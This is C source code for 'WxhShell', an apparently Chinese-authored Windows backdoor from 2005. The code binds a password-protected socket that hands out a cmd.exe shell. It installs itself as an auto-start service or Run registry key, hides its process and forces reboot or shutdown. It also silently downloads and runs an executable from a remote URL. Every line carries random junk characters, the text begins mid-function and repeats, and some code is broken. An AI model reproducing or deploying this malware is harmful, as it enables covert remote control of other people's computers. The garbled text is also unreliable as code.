  case 'd': { p!Tac%D+k  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Zcc7 7dRA  
    if(Boot(SHUTDOWN)) |D'!.$7%  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); hOIg 7=v  
    else { qM^y@B2MO  
    closesocket(wsh); X^m @*,[s  
    ExitThread(0); slr>6o%W`  
    } Qd ?S~3XT  
    break; %.uN|o&n  
    } I;$tBgOWq  
  // 获取shell G[zysxd  
  case 's': { NLgeBLB  
    CmdShell(wsh); %hBw)3;l  
    closesocket(wsh); kAx J#RG  
    ExitThread(0); D[YdPg@-  
    break; ZiH4s|  
  } q7rX4-G$  
  // 退出 VF7H0XR/k5  
  case 'x': { lL'K1%{+ \  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); j_zy"8Y{  
    CloseIt(wsh); [R~@#I P!  
    break; N=8CVI  
    } ')fIa2dO/  
  // 离开 }4Gn$'e  
  case 'q': { , d4i0;2}+  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); @$!"}xDR'  
    closesocket(wsh); ZU9RvtbKB  
    WSACleanup(); |ew:}e: k<  
    exit(1); t$Ua&w  
    break; bG)6p05Oa  
        } U[@B63];0  
  } $T2zs$  
  } 2+LvlS)C  
j8t_-sU9 i  
  // 提示信息 f5nAD  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); # kmI#W"^  
} @oMl^UYM=  
  } 57U;\L;ZmZ  
baf@"P9@\A  
  return; X=JAyxY  
} kr]_?B(r  
gLg\W3TOi  
// shell模块句柄 Lb2/ Te*  
int CmdShell(SOCKET sock) -n$hm+S  
{ 6rAenK-%  
STARTUPINFO si; 072`i 46  
ZeroMemory(&si,sizeof(si)); 8GT{vW9  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; -EU~ %/=m+  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; !=+hU/e  
PROCESS_INFORMATION ProcessInfo; &)Iue<&2  
char cmdline[]="cmd"; T:udw  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); }Ot2; T  
  return 0; Uw>g^[V;  
} `q1K%id  
_d3/="=  
// 自身启动模式 &eX^ll  
int StartFromService(void) ZCkwK  
{ " 1$hfs  
typedef struct If.hA}  
{ 7ZpU -':  
  DWORD ExitStatus;  Hh<}~s  
  DWORD PebBaseAddress; as@I0e((  
  DWORD AffinityMask; ?|we.{  
  DWORD BasePriority; zxrbEE Q  
  ULONG UniqueProcessId; +(m*??TAV  
  ULONG InheritedFromUniqueProcessId; :+v4,=fHy  
}   PROCESS_BASIC_INFORMATION;  +wE>h>?;  
Z!z#+G  
PROCNTQSIP NtQueryInformationProcess; >/9Qgyc 0  
iHk/#a  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; |!xqkmX  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; q\d/-K  
Z"d21D~h9`  
  HANDLE             hProcess; Tilw.z  
  PROCESS_BASIC_INFORMATION pbi; roNs~]6  
(BZd%!  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); )vD|VLV   
  if(NULL == hInst ) return 0; )dF`L  
'&F Pk T:5  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); %5Zhq>  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); <]u]rZc$  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); $sb `BS  
k p8kp`S7  
  if (!NtQueryInformationProcess) return 0; ,Ad{k   
DC,]FmWs!+  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); :pGgxO%q  
  if(!hProcess) return 0; wQrD(Dv(yA  
*/ok]kX'  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; mO @Sl(9  
;s w3MRJ  
  CloseHandle(hProcess); Rqun}v}  
FfibR\dhY  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); M*<Bp   
if(hProcess==NULL) return 0; ($s%B  
0T<DHPQ1  
HMODULE hMod; D|"^ :Gi  
char procName[255]; y9-}LET3j  
unsigned long cbNeeded; b-)3MR:4  
9I*i/fa  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); m.>y(TI  
~.TKzh'eB  
  CloseHandle(hProcess); 6a*OQ{8  
^A;(#5A]7  
if(strstr(procName,"services")) return 1; // 以服务启动 ZN-5W|' O  
V1\x.0Fs  
  return 0; // 注册表启动 <dX7{="&  
} %^<A` Q_  
%( o[H sl  
// 主模块 Jkub|w#QH  
int StartWxhshell(LPSTR lpCmdLine) \t+q1S1  
{ !_LRuqQ?"  
  SOCKET wsl; M{M?#Q  
BOOL val=TRUE; ] KR\<MJK  
  int port=0; D>I|(B!.p8  
  struct sockaddr_in door; }Oh@`xTxt  
`|g*T~; kC  
  if(wscfg.ws_autoins) Install(); Tz2<# pLR  
XCku[?Ix  
port=atoi(lpCmdLine); F ][QH\N  
cT,5xp"a  
if(port<=0) port=wscfg.ws_port; /b~|(g31"  
#e(P~'A0  
  WSADATA data; 2Uq4PCx!  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; `DcZpd.n  
sXm,y$ \m  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   f/K:~#k  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); xDTDfhA  
  door.sin_family = AF_INET; 4e5 5  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); kpt 0spp  
  door.sin_port = htons(port);  C#x9RW  
a]u1_ $)  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { =_Y#uE$  
closesocket(wsl); Q )b*; @  
return 1; < &~KYu\r  
} ,c_NXC^X?  
6K zdWT  
  if(listen(wsl,2) == INVALID_SOCKET) { ^qD@qJ  
closesocket(wsl); Kv26rY8Q  
return 1; X6lR?6u%|  
} d)7V:  
  Wxhshell(wsl); ><Z`) }f  
  WSACleanup(); +r 2\v  
*K1GX  
return 0; (0/)vZc  
X #!oG)or  
} 8!uqR!M<C  
 j,c8_;X!  
// 以NT服务方式启动 d5ivtK?  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) h"~GaI  
{ < BNCo5*  
DWORD   status = 0; &\0V*5tI  
  DWORD   specificError = 0xfffffff; `]xot8  
'/"xMpN4  
  serviceStatus.dwServiceType     = SERVICE_WIN32; H _%yh,L  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ihr l!A5  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; !z.C}n5F  
  serviceStatus.dwWin32ExitCode     = 0; 'F665  
  serviceStatus.dwServiceSpecificExitCode = 0; )~X*&(7RR}  
  serviceStatus.dwCheckPoint       = 0; Rr'^l ]  
  serviceStatus.dwWaitHint       = 0; )FG<|G(  
iVKX *kqc  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); oqOXRUy  
  if (hServiceStatusHandle==0) return; Dx-G0 KIG  
JyBsOC3  
status = GetLastError(); )@]Y1r4U  
  if (status!=NO_ERROR) ) !!xvyc  
{ = yH#Iil  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; - :0{  
    serviceStatus.dwCheckPoint       = 0; Gu3'<hTlxd  
    serviceStatus.dwWaitHint       = 0; P|S'MS';:  
    serviceStatus.dwWin32ExitCode     = status; Hlw0i a  
    serviceStatus.dwServiceSpecificExitCode = specificError; 9x~qcH%  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); f;(]P  
    return; i*JbFukG  
  } {bUd"Tu  
I+Q`i:\,q  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; -k19BDJ,W  
  serviceStatus.dwCheckPoint       = 0; Ij_VO{]G'l  
  serviceStatus.dwWaitHint       = 0; l|[8'*]r!  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); GMZj@q  
} &&w7-  
%0PZZl5b  
// 处理NT服务事件,比如:启动、停止 "KY9MBzPD  
VOID WINAPI NTServiceHandler(DWORD fdwControl) aeESS;JxJj  
{ BW>f@;egg  
switch(fdwControl) `NC{+A  
{ HgwL~vG  
case SERVICE_CONTROL_STOP: oy-Qy  
  serviceStatus.dwWin32ExitCode = 0; U+!H/R)(  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; RoXU>a:nS  
  serviceStatus.dwCheckPoint   = 0; 4:=eO!6  
  serviceStatus.dwWaitHint     = 0; MK]S205{  
  { ]3iu-~  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ~%4#R4&  
  } VY'#>k} }  
  return; 2w=0&wG4K  
case SERVICE_CONTROL_PAUSE: Zcg=a_  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; W39R)sra  
  break; >9f-zv(n  
case SERVICE_CONTROL_CONTINUE: rs@,<DV)u  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 4QnJ;&~  
  break; `@{qnCNQ  
case SERVICE_CONTROL_INTERROGATE: H ~c+L'=  
  break; FU0&EO  
}; bID'r}55  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); xA nAW  
} 39 JLi~j,  
yZaQ{]"  
// 标准应用程序主函数 |WeLmy%9  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) XcA4EBRj  
{ EIl _QV6  
j0sR]i  
// 获取操作系统版本 /^ v4[]  
OsIsNt=GetOsVer(); ushQWP)  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 5I{YsM  
-t % .I=|  
  // 从命令行安装 M`umfw T  
  if(strpbrk(lpCmdLine,"iI")) Install(); o([+Pp  
9dw02bY`  
  // 下载执行文件 &hs)}uM&$  
if(wscfg.ws_downexe) { Y 3[<  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ~s{$&N  
  WinExec(wscfg.ws_filenam,SW_HIDE); Hu x#v>e  
} c0Jf  
#hzs,tvvD  
if(!OsIsNt) { 1K,bmb xRt  
// 如果时win9x,隐藏进程并且设置为注册表启动 f7XmVCz1  
HideProc(); P G) dIec  
StartWxhshell(lpCmdLine); 4 !~JNO  
} Cs%'Af  
else 1O9V Ej5  
  if(StartFromService()) lbg!B4,  
  // 以服务方式启动 yq[C?N &N  
  StartServiceCtrlDispatcher(DispatchTable); eUqsvF}l!  
else Kd;|Z  
  // 普通方式启动 QsI>_<r  
  StartWxhshell(lpCmdLine); L4S Fu.J'  
w0moC9#$?  
return 0; 05nG |  
} m+DkO{8F  
`-Gs*#(/  
ImklM7A  
qVJV9n  
=========================================== *BBP"_$  
:?jOts>uP  
1NN99^ q  
~|Gtm[9Ru  
SLz^Wg._  
 V '^s5  
" &hd+x5  
Z'WoChjM  
#include <stdio.h> `6 lc]r  
#include <string.h> _l}&|:  
#include <windows.h> 2}I1z_dq~  
#include <winsock2.h> v8 ggPI  
#include <winsvc.h> wC<!,tB(8  
#include <urlmon.h> Q?7U iTZ  
)"A+T&  
#pragma comment (lib, "Ws2_32.lib") z9&$Xao  
#pragma comment (lib, "urlmon.lib") Gnj|y?'  
&c ayhL/%  
#define MAX_USER   100 // 最大客户端连接数 }I,]"0b  
#define BUF_SOCK   200 // sock buffer E;D9S  
#define KEY_BUFF   255 // 输入 buffer cl1h;w9s  
`IkWS7|  
#define REBOOT     0   // 重启 [P)HVFy|l  
#define SHUTDOWN   1   // 关机 Po(9BRd7  
z930Wi{@  
#define DEF_PORT   5000 // 监听端口 7DKbuUK  
{Z1j>h$  
#define REG_LEN     16   // 注册表键长度 #{UM4~|:  
#define SVC_LEN     80   // NT服务名长度 VCNg`6!x  
O|?>rK  
// 从dll定义API qL,!  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 1nX/5z_U  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); -+#\WB{AI  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); QP >P  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); d*3k]Ie%5f  
vv"_u=H  
// wxhshell配置信息 t]2~aK<]  
struct WSCFG { GO+cCNMa"  
  int ws_port;         // 监听端口 xuv%mjQ  
  char ws_passstr[REG_LEN]; // 口令 vtv|H  
  int ws_autoins;       // 安装标记, 1=yes 0=no +0;6.PK  
  char ws_regname[REG_LEN]; // 注册表键名 yO]Vex5)  
  char ws_svcname[REG_LEN]; // 服务名 =UM30 P/  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 MU<Y,4/k  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 (@p E  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ow>^(>^~  
int ws_downexe;       // 下载执行标记, 1=yes 0=no iLws;3UX;x  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" O3j:Y|N@F  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Jj8z~3XnJ  
i"r&CS)sT  
}; '0p 5|[ZD  
(lTM5qC  
// default Wxhshell configuration 7(QRG\G#  
struct WSCFG wscfg={DEF_PORT, ZXY5Xvt:v  
    "xuhuanlingzhe", x$[<<@F%  
    1, mawomna  
    "Wxhshell", 3qXOsa7  
    "Wxhshell", _rR+u56y-  
            "WxhShell Service", " 2Dz5L1v  
    "Wrsky Windows CmdShell Service", 1j`-lD  
    "Please Input Your Password: ", lQ<2Vw#Yl  
  1, _[<R<&jG  
  "http://www.wrsky.com/wxhshell.exe", ra0:Lg'  
  "Wxhshell.exe" 0~iC#lHO  
    }; eB%KXPhMm  
=;W"Pi;*  
// 消息定义模块 j&6,%s-M`a  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; '_lyoVP  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 1XSA3;ZEc  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; <Bn^+u\  
char *msg_ws_ext="\n\rExit."; *p`0dvXG2  
char *msg_ws_end="\n\rQuit."; o]t6u .L  
char *msg_ws_boot="\n\rReboot..."; w},' 1  
char *msg_ws_poff="\n\rShutdown..."; @zL)R b%P$  
char *msg_ws_down="\n\rSave to "; I= G%r/3  
^VK-[Sz&  
char *msg_ws_err="\n\rErr!"; w,bILv)  
char *msg_ws_ok="\n\rOK!"; 11glFe  
L(\sO=t  
char ExeFile[MAX_PATH]; 0#pjfc `:  
int nUser = 0; MqGF~h|+  
HANDLE handles[MAX_USER]; (o~f6pNB,  
int OsIsNt; ;2Db/"`t  
bE#=\kf|  
SERVICE_STATUS       serviceStatus; 8/,m8UOY  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; dIQ7u  
6F6[w?   
// 函数声明 '%_1eaH  
int Install(void); 4:q<<vCJv  
int Uninstall(void); M>D 3NY[,  
int DownloadFile(char *sURL, SOCKET wsh); q>/# P5V  
int Boot(int flag); sOg@9-_Uh  
void HideProc(void); '@>FtF[Gu  
int GetOsVer(void); j/4N  
int Wxhshell(SOCKET wsl); +6|Ys  
void TalkWithClient(void *cs); Sj]k5(&  
int CmdShell(SOCKET sock); kq6S`~J^R  
int StartFromService(void); L]hXAShmb  
int StartWxhshell(LPSTR lpCmdLine); |7,|-s[R^  
CP_ ?DyWU  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); u 'DM?mV:-  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); TC[_Ip&  
E/|]xKG  
// 数据结构和表定义 Zx,R6@l  
SERVICE_TABLE_ENTRY DispatchTable[] = xoF]r$sC8  
{ xx0s`5  
{wscfg.ws_svcname, NTServiceMain}, gvvl3`S{  
{NULL, NULL} vZj^&/F$=g  
}; ^29w @*  
AN7WMX  
// 自我安装 Qna ^Ry?6)  
int Install(void) ,C2qP3yg  
{ JYL/p9K[I  
  char svExeFile[MAX_PATH]; +N5#EpW  
  HKEY key; Z]DO  
  strcpy(svExeFile,ExeFile); <9 lZ%j;  
fI>>w)5  
// 如果是win9x系统,修改注册表设为自启动 [Av#Z)R  
if(!OsIsNt) { lA {  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { [H;HrwM s)  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ljVtFm<  
  RegCloseKey(key); ((^jyQ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { }3:DJ(Y  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); fL.;-  
  RegCloseKey(key); `)e;bLP  
  return 0; : Q X~bq  
    } y ,isK  
  } "<ow;ciJF  
} KY H*5  
else { GdG1e%y]z  
_a@&$NEox  
// 如果是NT以上系统,安装为系统服务 W/ZmG]sZE  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Mm`jk%:%]  
if (schSCManager!=0) *k==2figz  
{ r@FdxsCnGM  
  SC_HANDLE schService = CreateService C-d|;R}Ww  
  ( ozH7c_ <  
  schSCManager, WRU/^g3O@'  
  wscfg.ws_svcname, L0uvRge  
  wscfg.ws_svcdisp, 6~zR(HzV{  
  SERVICE_ALL_ACCESS, ta"/R@ k*  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ?g| K"P<1  
  SERVICE_AUTO_START, IK5FSN]s/  
  SERVICE_ERROR_NORMAL, kB1]_v/  
  svExeFile, jm&?;~>O  
  NULL, 9 \i;zpN\  
  NULL, g0Qg]F5D~  
  NULL, #Z<pks2 y  
  NULL, bcL>S$B  
  NULL / U1VE|T  
  ); ~K%]9  
  if (schService!=0) ms'&.u&<  
  { #S2LQ5U  
  CloseServiceHandle(schService); {`QF(WL  
  CloseServiceHandle(schSCManager); *bRer[7y  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); |t CD@M  
  strcat(svExeFile,wscfg.ws_svcname); N[X%tf\L]F  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { RrKAgw  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 3S1V^C-eBx  
  RegCloseKey(key); 1Lz`.%k`:  
  return 0; & tQHxiDX  
    } @_ ^QBw0  
  } MK9?81xd  
  CloseServiceHandle(schSCManager); Nge_ Ks  
} L(TO5Y]  
} jENarB^As  
zf $&+E-  
return 1; idnn%iO  
} :dguQ|e  
HQ3`:l  
// 自我卸载 FMd LkyK;  
int Uninstall(void) (Q5@MfK`  
{ 8q [c  
  HKEY key; NceB'YG|  
B`B%:#  
if(!OsIsNt) { ) , ]2`w&k  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 2ly,l[p8  
  RegDeleteValue(key,wscfg.ws_regname); [b.'3a++  
  RegCloseKey(key); LBkcs4+  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { R==cz^#  
  RegDeleteValue(key,wscfg.ws_regname); W/r mm*  
  RegCloseKey(key); |R;l5ZKvV  
  return 0; +&7Kk9^  
  } ,B%fjcn  
} h Y}/Y  
} Yxd{&47  
else { :Jeo_}e 0  
tw/#ENo  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); :@ E1Pun?  
if (schSCManager!=0) =~hsKBt*  
{ AzW7tp;t =  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); IE)"rTI)b  
  if (schService!=0) )@,90Vhh  
  { g. ?*F#2  
  if(DeleteService(schService)!=0) { n#>.\F  
  CloseServiceHandle(schService); ;T.s!B$Uu  
  CloseServiceHandle(schSCManager); fJWxJSdi  
  return 0; "%E-X:Il#  
  } @0z0m;8  
  CloseServiceHandle(schService); 3e%l8@R@  
  } PZuq'^p  
  CloseServiceHandle(schSCManager); #Pu@Wx  
} c6,s+^^  
} G#e9$!  
d1V^2Hb?  
return 1; E-)VPZ1D  
} .Iw ur;/\  
_ktK+8*6`  
// 从指定url下载文件 %j'G.*TD  
int DownloadFile(char *sURL, SOCKET wsh) S jVsF1d_  
{ ~=:2~$gsn  
  HRESULT hr; UzgA26;  
char seps[]= "/"; ]C16y. ~e  
char *token; uu}`warW  
char *file; ><NI'q*cQ  
char myURL[MAX_PATH]; "1XXE3^^  
char myFILE[MAX_PATH]; q=6Cc9FN  
=db'#m{$  
strcpy(myURL,sURL); b , juF2  
  token=strtok(myURL,seps); ic*->-!  
  while(token!=NULL) TGU:(J'^  
  { D|@bGN  
    file=token; %G;0T;0L  
  token=strtok(NULL,seps); 4_PCq Ep)  
  } 2+?T66 g  
Fe!D%p Qv  
GetCurrentDirectory(MAX_PATH,myFILE); ^WE4*.(  
strcat(myFILE, "\\"); +|y*}bG  
strcat(myFILE, file); |K L')&"  
  send(wsh,myFILE,strlen(myFILE),0); XE_ir Et  
send(wsh,"...",3,0); ?y ~TCqV  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); I=K!)X$  
  if(hr==S_OK) NO-k-  
return 0; 10wvfRhng  
else q7X}MAW  
return 1; r&}(9Cq&"y  
U1ZIuDg'E  
} KH7VR^;mk  
j-7u>s-l  
// 系统电源模块 XJqTmj3   
int Boot(int flag) >+cSPN'i>  
{ .VT;H1#  
  HANDLE hToken; d/3J' (cq  
  TOKEN_PRIVILEGES tkp; XC[]E)8  
eR:b=%T8  
  if(OsIsNt) { opsQn\4DZ?  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); aaDP9FW9e  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); )Im3'0l>  
    tkp.PrivilegeCount = 1; 9\HR60V  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; sI_7U^"[  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); eGm:)   
if(flag==REBOOT) { ]' Y|N l  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) !p9)CjQ"  
  return 0; I>PZYh'.T  
} kv6Cp0uFg  
else { >F1G!#$0  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ~h-C&G ,v  
  return 0; Nln`fE/Ht  
} 5W/{h q8}}  
  } -LtK8wl^  
  else { m9in1RI%  
if(flag==REBOOT) { pkJ/oT  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 57wFf-P  
  return 0; { ;s;.  
} AS)UJ/lC  
else { ,57$N&w  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) =; 0wFwSz  
  return 0; !b8uLjd;  
} YEv%C| l  
} <$%X<sDkq  
-$(Jk<  
return 1; jMM$d,7B  
} E@-ta):  
bLzs?eos  
// win9x进程隐藏模块 Mi+H#xx16  
void HideProc(void) 0Vkl`DmeM.  
{ e  ^Ds  
'Gx$Bj  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); NYwR2oX  
  if ( hKernel != NULL ) G8nrdN-9  
  { .`jo/,?+O  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); z-dFDtiA  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); -w1@!Sdd  
    FreeLibrary(hKernel); A4.4Dji,x  
  } *O,H5lwU  
{:Aw_z:'  
return; ;}qhc l+  
} `lO(s%HC  
(a@?s$LG  
// 获取操作系统版本 W+Xz$j/u  
int GetOsVer(void) Z\~G U*Y.e  
{ 5;\gJf  
  OSVERSIONINFO winfo; #`(WUn0H?  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); {o0qUX>[  
  GetVersionEx(&winfo); ^Dg <Ki  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) M*sR3SZ  
  return 1; mMSh2B  
  else \\06T `  
  return 0; \P;rES'  
} o!OMm!  
f$.?$  
// 客户端句柄模块 FS6<V0pil  
int Wxhshell(SOCKET wsl) +uo{ m~_4  
{ &gtG~mp<L  
  SOCKET wsh; 4[yIOs  
  struct sockaddr_in client; ?WUF!Jk  
  DWORD myID; +-<}+8G;  
z0%\OhuCcf  
  while(nUser<MAX_USER) iYJZvN  
{ ,E;;wdIt  
  int nSize=sizeof(client); )?=YT  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); BHA923p?  
  if(wsh==INVALID_SOCKET) return 1; ]5 Qy  
,1oQ cC  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); slu(SmQ  
if(handles[nUser]==0) 0* ;O?T  
  closesocket(wsh); E<E3&;qD  
else HDVW0QaMu  
  nUser++; YO+{,$  
  } c$:1:B9\  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 0nJE/JZ  
iD`d99f8O  
  return 0; d>0 +A)6>  
} K4Sk+ v  
yNg9X(U  
// 关闭 socket G(iJi  
void CloseIt(SOCKET wsh) q[3x2sR  
{ -d+aV1n  
closesocket(wsh); ]:(W_ qEA  
nUser--; omSM:f_~  
ExitThread(0); "{D6J809  
} |4(~%| 8{  
NTo!'p:s  
// 客户端请求句柄 vb Y3;+M>  
void TalkWithClient(void *cs)  6e,xDr  
{ .IarkeCtb  
7O5`v(<9n>  
  SOCKET wsh=(SOCKET)cs; 5U`ZbG  
  char pwd[SVC_LEN]; oF]cTAqhC.  
  char cmd[KEY_BUFF]; |re}6#TgcT  
char chr[1]; 2P#=a?~[  
int i,j; #KxbM-1=  
e~l#4{w  
  while (nUser < MAX_USER) { ;U9J++\d<A  
5xCT~y/a  
if(wscfg.ws_passstr) { 8:=n*  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); +Hvc_Av''  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 7c|bc6?  
  //ZeroMemory(pwd,KEY_BUFF); \u,}vpp z  
      i=0; =Prb'8 W  
  while(i<SVC_LEN) { : _e#  
Byl^?5  
  // 设置超时 ?BA]7M(,4  
  fd_set FdRead; 6W[}$#w  
  struct timeval TimeOut; IW=cym7  
  FD_ZERO(&FdRead); {n#k,b&9B  
  FD_SET(wsh,&FdRead); E>b2+;Jv  
  TimeOut.tv_sec=8; 9,uhf b^]  
  TimeOut.tv_usec=0; !pTJ./  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); %nN `|\  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); M_v?9L  
7ELMd{CD  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ho8`sh>N  
  pwd=chr[0]; 3@+b }9s8  
  if(chr[0]==0xd || chr[0]==0xa) { hu_ ^OlF  
  pwd=0; }%b;vzkG5  
  break; 7SDFz}  
  } &|>S|  
  i++; \B F*m"lz  
    } !jh%}JJ  
vrrt@y  
  // 如果是非法用户,关闭 socket [wcA.g*F  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); /! ^P)yU,  
} &`:rp!Lc  
oK-!(1A-  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); LR$z0rDEM  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Da,&+fZI!  
B7 "Fp  
while(1) { :Z2tig nL  
P79R~m`  
  ZeroMemory(cmd,KEY_BUFF); jE U'.RBN%  
ch,|1}bi  
      // 自动支持客户端 telnet标准   tjb/[RQ  
  j=0; Lb q_~   
  while(j<KEY_BUFF) { 5 ;vC(Go  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 2lz {_9  
  cmd[j]=chr[0]; IrO +5w  
  if(chr[0]==0xa || chr[0]==0xd) { BRtXf0~&p  
  cmd[j]=0; T]2U fi.  
  break; me'(lQ6^  
  } <:cpz* G4  
  j++;  <qn,  
    } i]M"Cu*  
EX 9Z{xX  
  // 下载文件 W'G{K\(/  
  if(strstr(cmd,"http://")) { ?N#[<kd  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 6:RMU  
  if(DownloadFile(cmd,wsh)) g3a/;wl  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); .;%q/hP  
  else i ^S2%qz  
